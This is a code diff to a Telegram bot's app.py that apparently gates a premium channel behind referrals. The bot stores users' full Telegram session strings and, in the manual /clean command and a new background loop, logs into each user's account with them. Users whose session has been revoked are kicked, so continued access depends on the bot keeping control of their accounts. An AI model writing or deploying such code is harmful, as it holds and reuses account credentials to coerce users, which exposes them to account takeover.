Update app.py

app.py

@@ -939,20 +939,6 @@ async def process_broadcast(client, message):
         await message.reply(f"✅ Broadcast Complete!\nSuccess: {success}\nFailed: {failed}")
     except Exception as e: print(e)
 
-@bot.on_message(filters.command(["png", "addvideo"]) & filters.private & filters.user(ADMIN_IDS))
-async def add_png(client, message):
-    try:
-        parts = message.command
-        needed_ref, duration = 3, "random"
-        if len(parts) == 4 and parts[1].isdigit(): needed_ref, duration, thumbnail_url = int(parts[1]), parts[2], parts[3]
-        elif len(parts) == 3 and parts[1].isdigit(): needed_ref, thumbnail_url = int(parts[1]), parts[2]
-        elif len(parts) == 2: thumbnail_url = parts[1]
-        else: return await message.reply("❌ Invalid format.")
-
-        admin_states[message.chat.id] = {"step": 1, "thumbnail_url": f"{thumbnail_url}||{duration}", "needed_ref": needed_ref}
-        await message.reply("✅ Now send the Video/Embed Link.")
-    except Exception as e: print(e)
-
 @bot.on_message(filters.command("clean") & filters.private & filters.user(ADMIN_IDS))
 async def manual_clean_channel(client, message):
     await message.reply("⏳ <b>Starting channel cleanup...</b>\nChecking database users to verify active sessions. This might take a while.")
@@ -978,7 +964,7 @@ async def manual_clean_channel(client, message):
                     is_valid = False
                     if res_session.data:
                         session_string = res_session.data[0]['session_string']
-                        temp_client = Client(f"bg_chk_{user_id}", session_string=session_string, api_id=API_ID, api_hash=API_HASH, in_memory=True)
+                        temp_client = Client(f"manual_chk_{user_id}", session_string=session_string, api_id=API_ID, api_hash=API_HASH, in_memory=True)
                         try:
                             await temp_client.connect()
                             await temp_client.get_me()
@@ -992,13 +978,64 @@ async def manual_clean_channel(client, message):
                             try: await temp_client.disconnect()
                             except: pass
                             is_valid = True 
+                    
+                    if not is_valid:
+                        try:
+                            await client.ban_chat_member(PREMIUM_CHANNEL_ID, user_id)
+                            await client.unban_chat_member(PREMIUM_CHANNEL_ID, user_id) 
+                            kicked += 1
+                        except Exception: pass
+                        
+                await asyncio.sleep(1.5) 
+            except FloodWait as e:
+                await asyncio.sleep(e.value + 1)
+            except Exception:
+                pass
+            
+        await message.reply(f"✅ <b>Cleanup Complete!</b>\n\n👥 Members checked: {checked}\n👢 Users Kicked: {kicked}")
+    except Exception as e:
+        await message.reply(f"❌ Error: {e}")
+
+async def auto_clean_channel_loop():
+    await asyncio.sleep(60) 
+    while True:
+        try:
+            res_users = await db_query(lambda: supabase.table('referrals').select('user_id').execute())
+            if res_users.data:
+                user_ids = [u['user_id'] for u in res_users.data]
+                for user_id in set(user_ids):
+                    try:
+                        chat_member = await bot.get_chat_member(PREMIUM_CHANNEL_ID, user_id)
+                        if chat_member.status in [enums.ChatMemberStatus.MEMBER, enums.ChatMemberStatus.RESTRICTED]:
+                            res_session = await db_query(lambda: supabase.table('user_sessions').select('session_string').eq('user_id', user_id).execute())
+                            
+                            is_valid = False
+                            if res_session.data:
+                                session_string = res_session.data[0]['session_string']
+                                temp_client = Client(f"bg_chk_{user_id}", session_string=session_string, api_id=API_ID, api_hash=API_HASH, in_memory=True)
+                                try:
+                                    await temp_client.connect()
+                                    await temp_client.get_me()
+                                    await temp_client.disconnect()
+                                    is_valid = True
+                                except (SessionRevoked, AuthKeyUnregistered, UserDeactivated):
+                                    try: await temp_client.disconnect()
+                                    except: pass
+                                    await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute())
+                                except Exception:
+                                    try: await temp_client.disconnect()
+                                    except: pass
+                                    is_valid = True 
                             
                             if not is_valid:
                                 try:
                                     await bot.ban_chat_member(PREMIUM_CHANNEL_ID, user_id)
                                     await bot.unban_chat_member(PREMIUM_CHANNEL_ID, user_id)
-                                except Exception: pass
+                                except Exception:
+                                    pass
+                                    
                         await asyncio.sleep(2)
+                        
                     except FloodWait as e:
                         await asyncio.sleep(e.value + 1)
                     except Exception: